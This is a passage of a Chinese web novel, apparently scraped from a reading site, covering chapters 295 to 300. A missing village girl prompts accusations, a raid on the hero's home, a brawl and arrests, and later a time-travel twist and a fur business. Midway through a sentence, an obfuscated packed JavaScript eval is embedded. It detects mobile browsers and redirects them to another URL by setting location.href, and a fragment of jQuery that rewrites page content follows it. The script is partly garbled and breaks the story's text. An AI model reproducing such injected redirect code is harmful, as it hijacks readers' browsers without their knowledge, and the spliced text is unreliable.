闻颜给他们一人盛了碗汤:“喝点汤,冲一冲胃里的酒气。” “多谢妹妹。”柳老大嘴角都快翘到天上去,他还给应知林抛去一个炫耀的眼神。 “你的妹妹虽好,我的妻子才是世界最好的女子。”应知林忍俊不禁,并炫耀回去,“昨天要是有大哥在,我也不会喝得那般辛苦。” 这时,一群人忽然冲了进来。 她目光一扫,锁定闻颜。 几步来到闻颜面前,‘扑通’一声跪在她面前。 她什么话都不说,对着闻颜就‘砰砰砰’地磕了三个响头。 闻颜吓了一跳,猛地站起来,躲到一边:“姨母,你这是做什么?有话好好说,你这又是下跪又是磕头,不是要折我的寿吗?” 她上前去扶焦姨母,却被焦姨母躲开。 焦姨母跪着后退几步,哭道:“闻颜,外甥媳妇……不,举子夫人,求你放过莺儿一回吧,你把她还给我好不好!” 闻颜一头雾水:“我不知道你在说什么。” 焦姨母呜呜哭着:“我知道你介意我闺女跟知林,青梅竹马一起长大,你不想让我闺女给知林做妾。我们都接受,也认命了,但是你不因一时之气,就把她藏起来啊。 莺儿就是我的命,他要是有个三长两短,我也不想活了。” 应知林率先走到前面,护住闻颜,这才道:“姨母,我们不曾见过黄莺儿,也不曾藏过她。 她不见了,多半是去县城买东西了,你别自乱了阵脚,多去几个地方打听打听,若是再无消息,报官才是最好的选择。” 纷纷给应知林做证。 他们昨天确实没有见过黄莺儿。 “你……你们竟敢做不敢认!没有证据我岂会轻易找上门!”焦姨母从人群里抓出一个人,“你说,你昨天是不是在这里看见我的莺儿了?” 第295章:不好了,出事了 “我……我看见她的时候,她在应家宅子附近转悠,我并不确定她有没有被抓走。” 众目睽睽之下,那人后悔死了。 他就不该贪图十文钱的感谢费,来给焦姨母当证人,这下得罪了举人老爷。 “你跟他们是一伙的! 你们合谋起来,莫非……你们已经对我的莺儿下了毒手! 啊……你们还我莺儿,还我莺儿!” 焦姨母像是疯了一般,扑向闻颜,抓着她又捶又打。 她一改往日的贤良淑德的形象,疯妇一样撒泼打滚,像极了一个失去女儿,被逼发疯的母亲。 闻颜被她拉扯得摇晃,一阵头晕目眩,差点没站稳。 “颜颜。”应知林一把抱住她,将她护到身后,对柳家人道,“爹娘,照看好颜颜。” 闻颜小声提醒应知林:“黄莺儿可能真的来过。 昨天你到库房搬酒的时候,我在库房外面,隐约看见一个鬼鬼祟祟的身影,很像是她。” 应知林皱了皱眉,安抚闻颜,“我知道了,放心吧,这些事就交给我来处理。” 见闻颜被柳家人团团护住,应知林这才看向那位证人:“你们说我绑架窝藏了黄莺儿,是在什么时间?什么地点?都有谁实施犯罪?” 证人连忙摆手否认:“我没有说你们绑架窝藏了她。我只是把我看见的说出来而已。” 应知林念在焦姨母丢了女儿,关心则乱,并未趁势追击。 反而帮她理清线索、到人。 他朝在座客人拱了拱手:“各位叔伯婶婶,若是昨日见过黄莺儿,还请告知。 女子丢失是大事,若是跌落山崖,摔伤腿脚走不回来,我们多耽误一会儿,黄莺儿就多一分危险。” 其实,黄莺儿这种情况,更多是被人贩子拐卖,但他却故意将话题往意外上面,也是为了保护黄莺儿的名声。 只见吃席的客人里,有一人站了出来,道:“昨天我也看见黄莺儿了,不过当时她失魂落魄的往村外走。我见她神情不对,还叫了她好几声,她没理我我,我就走了。” 那人指着黄莺儿离开的方向,并不是回福禄的。 旁边亦有人附和。 应知林便建议焦姨母顺着这个方向去找一找,兴许能有收获。 焦姨母却一口咬定应知林推卸责任。 叫着喊着,要应知林给个说法,交出她女儿。 黄莺儿的二哥、父亲,以及跟来的村民,也跟着附和。 应知林没想反而被攀咬,他的耐心耗尽:“既然你们听不进话,那应报官吧,找官府的人来查。” “昨天官府的人还来吃了你的酒,说不定你们早就蛇鼠一窝……” “县衙你信不过,那就去京兆府报案,让他们来查。” “你……” “你不会要说,我们跟京兆府也沆瀣一气了吧。” “我……只有我们的亲自去搜,我才肯信。” 焦姨母一行,被堵得哑口无言。 应知林却并不给他们犹豫反悔的机会,直接找人去县城报案。 同时让焦姨母派人去京城报案,他还可以出马车给他们代步。 焦姨母犹疑不定地看着应知林。 他如此坦荡,难不成,莺儿的失踪真的与他们无关? “呸!你好大一张脸!”柳老三的媳妇跳了出来,指着焦姨母斥道。 柳家人眼见焦姨母要给应知林硬扣罪名,都急得不行。 若是查不清楚,对他名声有碍,将来还如何考进士! 可惜柳家人不擅吵架,急得跳脚。 三嫂一看终于轮到自己表现了,逮着机会就跳了出来。 三嫂一手插腰,一手指着焦姨母: “我妹夫不仅帮你找线索,还让你去报官,你这不要那不要,上下嘴皮子一碰,就想给我妹夫扣上一顶‘绑架’的罪名。 我看你不是丢了女儿,是收了别人的好处,借机来抹黑我妹夫的。 还想带自己的人进去搜,你怕不是得了失心疯。 你长得丑,想得倒挺美。 瞧瞧你脖子上顶了个什么? 芝麻杂粮大煎饼上撒了三颗黑芝麻,就当自己是个人物了。” 三嫂用手在面前扇了扇,仿佛焦姨母是什么不堪的脏东西。 “我妹夫想了那么多找人之法,你一件都不肯做,反而在这里纠缠不休。 而且你脸上一点没有着急之色,一心只想搜我妹妹的家 我看你不是来找人,而是想趁机把黄莺儿塞进我妹妹家,再把你女儿强塞……”给我当妾吧! 三嫂忍了又忍,顾及到女儿的名声,没有把话说绝。 焦姨母被噎得够我呛,再加上顾及黄莺儿名声,她也不敢再纠缠。 三嫂却不放过她,接着道:“既然要搜我妹夫的家,可以啊,你先证明你女儿丢了再说吧! 或者我们现在先去你家搜一搜,再轮到我妹妹家。” 焦姨母气得咬牙切齿,死死盯着三嫂。 不行。 那边还没收到那边的音讯,她还不能收手。 可她又说不过这个黑妞。 她眼珠子滴溜溜一转,忽然往地上一坐,双手拍打着大腿,伴随着一声‘哎呦喂’,就开始了一哭二闹三上吊的戏码。 三嫂子哪能让她抢了风头。 她裙摆一提,也跟着坐地上了。 她还坐到了焦姨母的身边,哭声比焦姨母的大,手脚并用地乱蹬,气势瞬间把焦姨母比了下去。 闻颜扑哧一声,低笑出声。 她没想到三嫂嫂这么厉害。 旁边的客人也跟着低笑出声。 焦姨母的哭声戛然而止,她不由多看了黑妇人几眼。 没想到她年纪轻轻,竟这般舍得下脸皮,当众做出这等行径。 这小妇人不仅长得黢黑,心也一样黑,嘴皮子更是不饶人。 她在叱咤福禄村这么多年,今天也算是遇到了对手。 不过,她的眼中闪过一抹算计。 你就闹吧,闹得越大越精彩越好,把所有人都吸引过来。 这样才方便她的好大儿,带着黄家族人去应家搜屋,将莺儿解救出来。 没成想,就在此时,一个妇人一边跌跌撞撞跑过来,一边惊慌失措地喊道:“知林,知林,不好了,家里出事了……” 焦姨母眼中闪过一丝紧张。 “舅母,发生何事?如此慌张?”应知林连忙问道。 第296章:都别想竖着走出去 闻颜见舅母跑得气喘吁吁,头发都散了。 连忙端了一杯水递上去:“舅母别急,您先喝口水,顺顺气再说。” 舅母摇头推开水,急道:“快回去,家里有人闯进去了。他们到处翻找……” 她去了趟茅房回来,听见院子里吵吵闹闹,她就多留了个心眼,爬上院子往里瞧,就发现二十几个成年男子在屋里东翻西找。 西厢房中,那些行动不便的匠人,为了保护那些颜料不被破坏,也被他们折辱欺负了。 她自知势单力薄,没敢闯进去送人头,而是跑来宗祠求救。 康叔今日带着三个护院在祠堂这边帮忙,听见此话,带着两人就往回跑。 “外祖母!”应知林又惊又急,也紧追上去。 “知林,我去帮你。”大虎哥也跟了上去。 “兄弟们,知林有难,我们岂能袖手旁观。”青山哥带头喊道。 立马有旁人附和, “这里可是松山村,岂能容旁人来我们的地盘撒野。” “今天那些人连举人的宅子都敢闯,改天岂不是要随便欺负我们这些平头百姓。” 同时,还有妇人站出来附和:“就冲着这几天丰盛的宴席,我们也不能不管。 保护好了知林,下次他考个进士回来,不得请我们吃十天的流水席!” “对,大家一起去帮忙。” 村里人个个情绪激动,抄起武器就跟了上去。 有人拿了菜刀,有人拿了柴刀,有人拿了锅铲,还有人抓了一条凳子。 妇人孩子,没东西好拿,地上抓起泥巴石头就追了上去。 二三十桌客人,瞬间就走光了。 应族长老胳膊老腿,颠颠地跟在后面。 闻颜一把拉住他:“族长爷爷,等一下,我有话跟你说。” “你要说什么?”应族长急得不行,他怕这群小伙子年轻气盛,闹出人命。 闻颜与他低声耳语几句。 应族长听罢点点头:“我知道了,你放心吧。” 他说完,便迫不及待地去追大队伍了。 焦姨母一看这么多人过去,当即就吓坏了,想要上前去拦。 也不知那边搜查完了没! 不过就算找到莺儿,松山村这么多人过去,他们恐怕也不好脱身。 焦姨母当即一慌,她扑上去,要将众人拦住:“你们不许去,你们站住。” “你们的饭还没吃完呢,这么多大鱼大肉,你们不吃了,岂不是要便宜别人。” 三嫂几步追上去,在焦姨母的屁股上踹了一脚。 焦姨母‘哎呦’一声,摔了个五体投地。 三嫂朝她哼了一声,几步就追上了闻颜。 焦姨母连忙爬起来,朝身后那些人使了个眼神,自己也追上了上去。 应家。 应知林一路狂奔,竟然超过康叔,率先抵达。 他一脚踹开院门,只见院中被人翻得乱七八糟,就像被土匪**过一般。 隔壁院中,传来外祖母沙哑的喊声:“你们住手,住手!那是我孙儿的房间,你们不可以随便进去,你们再不住手,我们就要报官了!” “死老太婆,你给我住口!”一道男声喝骂道。 “外祖母!”应知林脸色一变,立即朝安置外祖母的东跨院去。 院门口守着人。 应知林一出现,他们就拦住去路。 “滚开!” 应知林手里不知何时多了一根手臂粗的棍子,一人头上来了一下子。 两人白眼一翻,就晕倒在地。 应知林跑入院中,就见二十几个成年男子,带着三四个妇人,在他和闻颜的房间里翻找。 闻颜的衣柜打开了。 里面的衣服全部被扒拉到地上,有两件还被一个妇人缠在腰上。 而另外几个男人,则将闻颜的床铺翻乱,蚊帐都扯下来了。 一人掀开床单,探手进床下摸索,突然喊了一声:“床下面藏着东西!” 其余人全部围了过去,全力将床上的箱子搬出来。 而他房间里,书架被掀翻,书本笔墨撒了一地。 本该躺在他床上休息的外祖母,不知被人推倒在地。 外祖母急得不行,虚弱地爬起来,拖着软绵绵的身体去阻止他们。 被人没好气地推了一把,外祖母踉跄后退,眼看就要撞到桌角上。 应知林一个箭步上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385327|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将人扶住。 “外祖母,您没事吧!” 外祖母急得不行,把应知林往外推:“你快走,他们是强盗,这里危险。” “我不走,没有人能欺负我的家人。”应知林眼中闪过狠意。 他将外祖母扶到一旁坐下。 这时,人群里走出来一个青年。 他手里的棍子指着应知林:“姓应的,把我妹妹交出来,不然我一把火烧了你的房子!” 此人不是别人。 正是**儿的大哥。 他与母亲分头行动。 焦姨母在宗祠负责拖住那些人,他负责到应家来找妹妹。 他在这里越找越火大。 应知林真是不当人。 以前穷困潦倒,就巴结着人家,把他娘亲和妹妹当佣人使唤。 攀上京城大官,有钱之后,不但将小妹一脚踢开,甚至连妾室的位置都不肯给一个。 害得小妹在家不吃不喝,整日以泪洗面。 昨天过来参加应知林的宴席,出来之后就没回去。 定是应知林这个混账东西,怕小妹情绪激动,当众说出他做过的腌臜事,便将小妹囚禁起来。 应知林嘲讽道:“你妹妹是万金难求的孤本?还是千金不卖的名墨砚台?用得着我**窝藏她?” “你……”黄老大气得眼睛都鼓了起来。 “她送上门来我都不想留,用得着藏她?有什么理由藏她?你们是不是太能给自己脸上贴金了!还是我以前太惯着你们,太好说话了?” “你……你竟敢侮辱我妹妹!”黄老大把手里的棍子捏得啪啪作响。 “辱人者人恒辱之。黄大,你们不仅毁了我的家,还敢推搡我外祖母,今天,你们一个都别想竖着走出去。” 就在此时,闻颜的卧房里传来一声惊呼:“我勒个老天爷啊,好多银子、还有金子,全是好东西!” “你们竟敢动我夫人的东西,全都该死!”应知林眼睛都红了。 他都没敢那样碰闻颜的东西,他们也敢,也配! 他抓着棍子站了起来。 冰冷的目光扫过那些人,最后锁定黄老大,两步跨过去,抡起棍子,直接砸在他头上。 第297章:一个警告 “嗷——”黄老大没想到应知林会突然出手,惨叫一声,感觉脑门上一热,鲜血顿时涌了出来。 就在这时,康叔他们冲进院子。 康叔上前拉住应知林:“别忘了你现在的身份,这些事交给我们就好,你去照顾外祖母。” 他把应知林推开,和其他人一拥而上,和福禄村的人扭打在一起。 福禄村来的人再多了,也没有松山村的人多。 片刻时间,他们就把福禄村的人全部按住了。 所有人都挨了揍,鼻青脸肿的。 佩儿趁机钻进屋里,将箱子重新盖上,费了九牛二虎之力,推回床底下去。 焦姨母推开众人闯进来,看着倒在地上,血迹斑斑的黄老大,吓得“嗷”地一声尖叫:“儿啊,我的儿!你告诉娘,是谁打的你,娘给你报仇,我要他血债血偿。” “让我血命债血偿?在此之前,也得看我会不会放过你!” 应知林这次是真的生气了。 这些人不仅打砸了他的家,还推倒外祖母。 他不会轻易算了。 “你……你什么意思?你想干什么?”焦姨母慌张问道。 应知林一直都是和和气气,很好说话的样子。 她第一次见他生气,心里慌张得不行。 应知林扫她一眼,反而不去理会,焦姨母反而越发慌乱。 就在这时。 一个十三四岁的小孩,突然进院子里。 他激动地道:“有外村人闯进祠堂,把好多祖宗牌位都打翻了。” “什么!我们的祖宗被人欺负了!” 竟敢闯入祠堂,这跟去人祖坟上蹦迪有什么区别! 在场的应家人,全都目眦欲裂,一副随时都能干架的样子。 孩子连忙摆摆手:“还好我们早有准备,提前埋伏在祠堂里,趁机把他们全部抓住了。 至于牌位……” 孩子嘟了嘟嘴:“有几个老祖宗牌位掉了,其他的都没事……” 族人松了一口气,随后又凶恶地瞪向焦姨母。 随后,他们就将两拨人绑到一起。 等衙门的差役一来,应知林就把他们交了出去。 毁人祠堂,此事可大可小,就看受害者的意思。 应家态度明确,要追究到底。 罪名虽然不大,也不会有很严重的惩罚,但是这一抓,福禄村的黄氏一族,大半青壮年都要去大牢里一月游。 这名声要是传出去,整个福禄村的声誉都会跟着受损。 他们就会成为全村的罪人。 为了不当众矢之的,最后由黄父抗所有罪名。 他被判了三个月囚刑,二十两罚银。 黄家凑了个整数,以银赎罪。 这一遭,黄家积累了十几年的家资被掏空,变得一贫如洗。 就算如此,福禄村的人,还是对黄家心生埋怨。 焦姨母怨恨地瞪着应知林:“这下你满意了吧!” 应知林掸了掸衣服上不存在的灰尘:“这只是一个警告,你再到对我的家指手划脚,就不只是破财这么简单。” 应知林突然走近一步,他眼神阴郁,用两人才能听见的声音,警告她,“届时,我不介意让你家破人亡,不得好死!” 焦姨母从未见过他这般阴沉的模样,吓得双腿一软,跌倒在地,身体也止不住的轻颤。 “你对我妈做了什么!”黄老大见母亲惊惧,捏着拳头就冲向应知林。 应知林一个扫腿过去,就把人踹出两米多远。 焦姨母吓坏了,连忙押着黄老大,带着族人灰溜溜地走了。 在距离应家不远的一处树林里,两个男人骑在马背上。 一个锦衣华服,一个身着劲装,明显是一主一仆。 “这就是你说的,很隆重的庆功宴?”霍耀行目光轻飘飘扫了身边的下属一眼。 昨天下午,下属来禀,说这位应解元人的庆功宴办得很是热闹,惊动了不少人物。 他本是不屑,今天在府中无聊,便过来看看,这庆功宴到底能有多热闹。 没成想,还真让他看了一出大戏。 属下立即跪下请罪:“属下办事不力,请主子责罚。” 霍耀行尽情愉悦:“那就罚你回京后,帮咱们的应解元好生宣传宣传今天的事。 抛弃青梅竹马,照顾他的表妹另娶高门女。 一朝得势,就险些将照顾他多年姨母全家送入大牢。 这些八卦新闻,足够京城百姓,茶余饭后议论十天半个月了。” 虽然这些谣言不会对他造成实质性的伤害,但能给他添堵,倒也不错。 忽地。 霍耀行的脸色又是一沉。 闻颜竟对一个泥腿子,那般的维护和关心。 与自己退婚才多久,就对另外一个男人…… 没有男人,她会死吗? 当真是水性杨花,下贱不已。 霍耀行厌恶地‘哼’了一声,一夹马腹,就骑着马离开了。 属下挠挠头,世子爷最近越发阴晴不定,难侍候。 处理完黄家的事,闻颜和应知林先送客人离开后,才回到家中收拾。 康叔带着两名护院,就来跟闻颜请罪:“是我们护卫不力,才让那些人钻了空子,给家里造成这么大的麻烦。” “不怪你们,是我调你们去祠堂帮忙的。”闻颜不仅没有罚他们,还因为他们及时赶回来帮助应知林,而奖赏了他们。 颜料作坊那边,闻颜也因为他们保护颜料有功,每人奖励了一两银子,又要去县城请大夫给他们治伤。 佩儿提醒她:“小姐,你不是请了同和堂林大夫给老夫人瞧病吗? 到时请林大夫一起看就好了。” 闻颜点点头:“那就等林大夫……” 他们这边话没落地,立夏就来通传:“小姐,林大夫来了。” 随即,就见一位药童,扶着须发花白的林大夫走了进来。 林大夫看见闻颜,又扫一眼院中狼藉,就歪着脑袋,斜着眼哼了一声:“我就知道,你找我准没好事。” “林大夫,您老人家可算是来了。京城这么多大夫,我最信您的医术。 我家外祖母的身体,只有您能治。”闻颜立即笑眯眯地迎了上去,扶着他就往东跨院去。 “呵,油嘴滑舌!”林大夫不高兴地乜她一眼,嘴角却不由自主地往上翘。 不过,在看见外祖母的脸色之后,林大夫顿时就正了脸色,道:“老太太的身体,民间大夫之中,确实只有我才能调理好。” “调理好?”闻颜惊喜,“我外祖母真的能恢复健康?” 林大夫吹胡子瞪眼地看着她:“你当我的药是仙丹啊,七旬老人吃了都能健步如飞?最多能让她和同龄一样。” “这样已经很好了。”老人家能减少身体病痛,就已经很好了。 第298章:穿越女 三天流水席结束。 大家都跟着松了口气,生怕中途再发生什么事。 好在一切顺利结束。 闻颜他们的生活终于恢复了往日的平静。 不过她发现,越来越多的人,喜欢来她家里聊天八卦。 闻颜干脆在院门外的空地上,搭了一个凉亭。 安排了许多座椅,一个茶壶一些茶杯。 一时间,闻颜家成了全村的消息集散中心。 闻颜给凉亭题了个名字,就名叫:“八卦亭” 她也因此知道福禄村,焦姨母那边的消息。 黄莺儿是真的丢了。 闻颜有些担忧黄莺儿,跟应知林说起此事:“黄莺儿若是真有个三长两短,那我们岂不是……” “傻子,你想什么呢?”应知林打断她的话,并在她的额头轻弹一下,“黄莺儿已经十七岁了,比你还年长半岁,你都已担负起几十口人的生计,她还不能为自己的行为负责吗?” 闻颜点点头:“话虽如此,但她真的出事,肯定会影响你的名声,这不好。” 况且,黄莺儿只是争风吃醋。 她的手段虽然不堪,到底她没有伤害过谁。 毕竟是一条性命,若是落到人贩子,她的一生就毁了。 不过,闻颜也只是心里不忍罢了。 黄莺儿多次找茬,闻颜不主动对付她,已经是仁至义尽。 闻颜在家中休息了几天,就开始忙自己的事了。 教哑妹学画画,给新店的净面娘子找推拿师父,装点布置新店的院子。 应知林也恢复了书院、家中两点一线的读书日子。 闻颜在家歇了两天,就又恢复得生龙活虎。 她计划着回京城处理生意上事。 临出发时,她就听八卦亭里的人,又在讨论焦姨母家的事。 “哎,你们听说了吗?黄莺儿找到了。” 闻颜来了兴趣,坐在一旁听他们议论。 “啊……这么多天,她去哪儿了?不会是被人给……”那人挤眉弄眼,证据都变得暧昧了。 “那倒不是。 是她在回家的路上,掉进了一口枯井里。 今年不是干旱吗?那口井里几乎断水了,好几天才能沁出半桶水,一直没人往井边去,便没发现掉进井里的她。 还是一群调皮的孩子,去井边玩儿发现的。” “我听说啊,她被救上来的时候,瘦得皮包骨头,只剩下一口气了。” “她说是自己掉下去的,你们居然也信。说不定是被人糟蹋了,为了毁尸灭迹才把她扔进去的。” 闻颜听到这里,下意识的不喜。 她微皱着眉头,朝一位相熟的婶子递了个眼神。 那婶子立即反驳道:“桂枝婶,药可以乱吃,话却不可以乱说。 人救出来的时候,几十双眼睛瞧见的,黄莺儿除了额头上摔出来的伤,衣服整齐,身上也没有别的伤,怎么可能遇上坏人。 你这么信誓旦旦,难不成你亲眼所见?或者是你找人把黄莺儿给糟蹋了? 若真是这样,黄莺儿一家可不会饶过你。” 桂枝婶脸色倏地煞白。 黄家才在村里吃了亏,若是让他们记恨上自己,不得把她往死里整! 她可遭不起这份罪,赶紧否认说没有。 说她只是胡乱想的。 闻颜见状,这才坐上马车离开。 黄莺儿能死里逃生,真是太好了。 闻颜尽情舒展许多。 她也能安心回京城去管理打理生意了。 三日后。 福禄村,黄莺儿的房间。 瘦得只剩皮包骨头的黄莺儿,目光呆滞地看着房顶。 她还是不敢相信。 自己竟然穿越了。 二十一世纪的古风手工博主,一夜之间竟然穿到了古代。 成了一贫如洗的农家女。 黄莺儿扯过被子盖在脸上,嘴里发出呜呜的声音:“贼老天,你太过分了!你不当人! 痛痛快快地来个雷劈死我吧,把我劈回现代去。” 屋外,艳阳高照,一丝风都没有,更别说能劈死人的雷电。 黄莺儿在被窝里滚来滚去,最终选择了自我消化情绪,再好好的,努力活下去。 “我就不信了。我堂堂二十一世纪的,千万粉丝的手工博主,在古代会被饿死。 看我如何用一双素手,在三个月里带着全家脱贫,一年全村致富,三年富可敌国。 至于那个害自己身残的闻颜……” 黄莺儿的手轻轻按在胸口,喃喃自语:“原主,放心吧,你的仇我会报,你受的委屈,我亦会替你讨回来。” 黄莺儿朝空里挥了几下拳头,信誓旦旦。 根本没有发现,一个七八岁的小娃娃,从窗户缝里,将她的举动全部纳入眼底。 然后小跑着回到自己的房间,扑进一个年轻妇人怀中,神情害怕地道:“娘,小姑好像疯了,小姑好吓人……” 她将闻颜的一举一动,全部告诉了母亲。 年轻妇人咬了咬牙。 这个小姑子,到底什么时候才能嫁出去。 明明都十七岁了,天天做着当官太太美梦。 现在好了,应知林没嫁成,还差点把自己的小命搭进去。 这样了都不能安分,还想继续搞事。 她真是烦透这个小姑子了。 现在婚事没了,不知什么时候才能甩掉这颗烫手山芋。 斗转星移,天气渐寒。 闻颜隔三差五地往返在京城和松山村之间,日子过得还算潇洒惬意。 这日,她从松山村回京城。 路过县城的街市时,看见路边的一个摊位,被里三层外三层地围着,吵吵嚷嚷的,似乎在争抢着买什么东西。 空气里还飘着一股若有似无的卤香味。 闻颜好奇,掀起帘子打量。 立刻叫住一位路过的婶子打听:“那边在卖什么?怎么会这么多人争抢?” “在卖卤味。那卤味可好吃了,又香又下饭,还没有一点肉腥味。”那位婶子说着说着,大概是回忆起了卤味的味道,当即就甩开立夏牵着的手,“不跟你说了,我要去抢卤味了,再耽误下去,就要卖没了。” 闻颜被那位婶子的描述勾起了馋虫,就对立夏道:“你去看看,若是什么新奇的吃食,咱们也买一点尝尝鲜。” “好的!”立夏最爱吃食,撒丫子就朝小摊跑过去。 没一会儿,她就拿着两包东西回来了,递给闻颜:“小姐,这卤肉并不便宜,我花了双倍的价钱,从别人手里匀来的。” 东西用荷叶包着的,闻颜看不到内里情景,不过放到鼻尖闻一闻,一股特殊的肉香味,确实让人垂涎欲滴。 闻颜忍不住咽了咽口水,把东西放在一旁:“走,回京城去,午饭一起吃。” “好嘞!”立夏应着。 佩儿一甩马鞭,马车就摇摇晃晃地驶了出去。 被围住的卤摊里,忙得不可开交的人正是黄莺儿。 第299章:羡慕不来的 开张不到半个时辰,今日的卤菜就被抢购一空。 黄莺儿提着沉甸甸的钱袋子,成就感满满。 用不了多久,她就能把小摊变成铺面,然后做大做强,不仅要把卤味店开到京城,她还要开遍大庸每一个城镇。 黄莺儿朝两位哥哥招手:“大哥二哥,走吧,我们回家去。” 她的两位哥哥也是一脸高兴,挑着担子一起回家去了。 街边走出来两个人。 为首的一身锦衣,吩咐身边的随从:“去,跟着他们,两天之内,我要知道他们所有的信息。” 闻颜到了京城之后,她先回‘一点墨’稍做休息,随后便去了‘天衣布庄’。 临近中午,铺子里没什么客人。 崔掌柜把客人交给货娘,就迎了上来,笑着迎接道:“闻小姐,里面请,今天要买点什么?” 随即,他又压低了声音道,“庆川公子已经到了,在二楼的雅间千丝阁。” “你们店里最近来了什么好货?都送到二楼的雅间去,我要好好挑一挑。”闻颜点点头,提着裙摆,就朝二楼走去。 店里的客人认出闻颜,交头接耳道:“那位是闻家的二小姐? 她不是嫁给乡下的穷秀才了,怎么有钱来‘天衣布庄’买东西。 “你有所不知,一个月前,她搭上了恭太妃的线,赏了她不少好东西。有银子在手,她怎么可能忍得住不花。” “啧啧啧,她真是好运,都落魄成那样了,还能靠着恭太妃翻身。” “羡慕不来的,谁让人家有一手高超的绣技呢,这个机会摆在我们面前,我们也抓不住的。 我们还是好好挑布料吧。” 其他人都蔫了,闻颜那一手出尘绝艳的绣技,她们确实甘拜下风。 闻颜来到二楼雅间。 她推开翠竹间的门,走了进去。 就见靠窗的位置上,一个男人站了起来。 他皮肤黝黑粗糙,冲着闻颜灿烂一笑,露出一口大白牙:“闻小姐,你来了。” 闻颜笑着走了过去,朝他一礼:“庆川公子,好久不见。” “好久不见了。”庆川也回了个礼。 “庆川,这一趟你吃了很多苦吧!”两方坐下之后,便是互相寒暄。 “我现在的样子很丑吧。”庆川摸了摸脸,有些懊恼,他该在家多养几日,把脸养俊一点再来找她的。 可现在天气渐冷,那些皮毛再不加工处理,就赶不上这个冬天出售了。 “这可不叫丑,这是大商人的荣耀。” 庆川扑哧一声笑出来,“你倒是会安慰人。” 闻颜嘻嘻一笑,“你可是我的大买办,当然要夸夸夸。只有把你哄高兴了,下次才会帮我拿货啊!” “啧啧啧,你这话说得,你占我好大便宜似的。其实我可没少赚你银子。” 两人玩笑几句,气氛越发融洽。 就说起毛料的事。 “哎呀,此事不急。 你辛辛苦苦帮我收货回来,我岂能如此无情,连顿饱饭都不给你吃。”闻颜豪爽地道,“我在对面酒楼订了桌,我们先去填饱肚子,再去看货。” 庆川没想到还能同她一起吃饭,心里像有一只雀跃的小鹿在乱撞。 他强压住羞涩,撑出淡定的样子朝她点点头:“那应恭敬不如从命了。” 不一会儿,酒楼就把饭菜送来了。 闻颜也拿出在县城买的两包卤味,打开之后,一股霸道的香气就扑面而来。 “好香啊,这卤味是谁家的?色泽、香气都是一等一的,我来尝尝味道。”庆川夹起一块就送进嘴里。 他细嚼慢咽,细细品味之后,眼前一亮:“味道也很好,已经赛过清芬楼的卤味了。” “真有这么好吗?”闻颜也尝了尝。 卤的是核桃肉,口感薄脆,香而不腻,确实是上上品。 “鸭腿,卤鸡,这是什么?” “猪耳朵。这个是猪大肠是。” “哕……”庆川一想到它是装那种东西的,心里就阵阵翻腾,让他作呕。 “这个很好吃的。一点味都没有。”闻颜用公筷夹了一片,递到他面前,“你要不要尝尝看?” 庆川瞬间耳朵发烫,完全没法拒绝闻颜的推荐,用碟子接过,鼓起勇气,闭着眼睛吃进嘴里。 嚼巴嚼巴。 他的眼睛陡然一亮:“真的很好吃。” 庆川馋哭了:“你告诉我,这卤味在哪里买的?我想把配方买过来,这样我下次去边境做买卖,也能吃上这么好吃的卤味了。” “这么好的手艺,肯定是祖传秘方,你这是要断人家财路啊!”闻颜挑了挑眉。 庆川懊恼苦笑:“我没想那么多的。” 闻颜拍拍胸脯:“不过我可以帮你问问,能不能买几个卤料包回来,这样你们在路上也能吃到。” “那就拜托给你了。” 饭后,他们喝了点消食茶,又休息了一会儿,这才朝庆川的库房而去。 偌大的宅子里,庆川专门拿了一个院子来放皮毛。 小厮将所有门都打开,闻颜看着塞满的院子,惊得嘴巴都能塞下一个鸡蛋了。 “不会吧,北境的皮毛如此便宜?我那一点点钱,竟然能买到这么多货?” 闻颜随便走进一间屋子,拿了两张皮毛,仔细看了看:“鞣制的技术粗糙了点,但是毛面很好,光泽度很高,再稍稍处理一下就好。 北境的皮毛,已经便宜成这样了吗?” “你倒是敢想!只有一半是你的货,剩的都是我的。” “你怎么也买了皮草……” “你费这么大力气去收,肯定是能赚大钱的,我怎么会错过这个机会! 你快快制作,我按件给你加工费。 趁着还没有大雪封路,我再出去赚一笔。” “没问题!到时我把样衣做出来,你再来挑款式。” 几屋子的皮草,她又要忙起来了。 正好缫丝作坊的工人闲了下来,这回又有活给他们干了。 还有制衣作坊,不仅要做普通衣服,还要制作皮草,恐怕会忙不过来。 到时再找些绣娘,做一些简单的活计。 嗯,可以在村里挑一些心灵手巧的婆子媳妇,入冬之后没活可做,在家闲着也是闲着,不如接点活补贴家用。 闻颜脑子里飞快盘算着接下来的安排。 第300章:白忙活一场 庆川带回来的皮草种类繁杂。 除了羊、兔、狼、狐狸、貉、貂等常规的,还有几张熊皮、虎皮。 种类实在太多,闻颜单独租了一个小院子,用来存放货物。 她先找人将皮草按种类、颜色、品质分类。 这些皮草的质量整体都不错,但顶级品质的也只有五十几张,单独挑出来后,闻颜找到京城最好的工匠重新鞣制。 她再按每张皮子的特点,单独出衣样子,再交给最好的绣娘来制作。 其他的皮草,她也计划按照好次,出十几个衣样子。 仅是琢磨衣样子并画下来,都够她忙个把月时间。 闻颜把自己关在‘一点墨’二楼的雅间里,开始潜心画衣样子。 她本来就要教哑妹画画,就把她带在身边,耳濡目染。 窗户外面突然传来一阵吵闹的鼓乐声。 哑妹好奇,打开窗户往外看。 一会儿之后,她就跑回来,拉着闻颜往窗边走。 是一只舞狮队,正一边舞狮一边打着幡子往前走。 这场景,似曾相识啊! “是‘妙笔斋’在促销生意,说的是买一送一。结果是买纸、墨、砚台就送一支笔或者镇纸。”佩儿端着点心进来,扑哧一声笑出来,“笔和镇纸的水分可太大了,他也好意思说买一送一。” 闻颜总算想起来了,她只觉得好笑。 闻如月没有一点自己的生意经吗? 又开始拓印她前世的赚钱方法了。 前世她开的妙笔斋,也在今时今日做了打折叫卖。 那是因为会试临近,不少外地的举子汇聚京城,等着参加明年的科举考试。 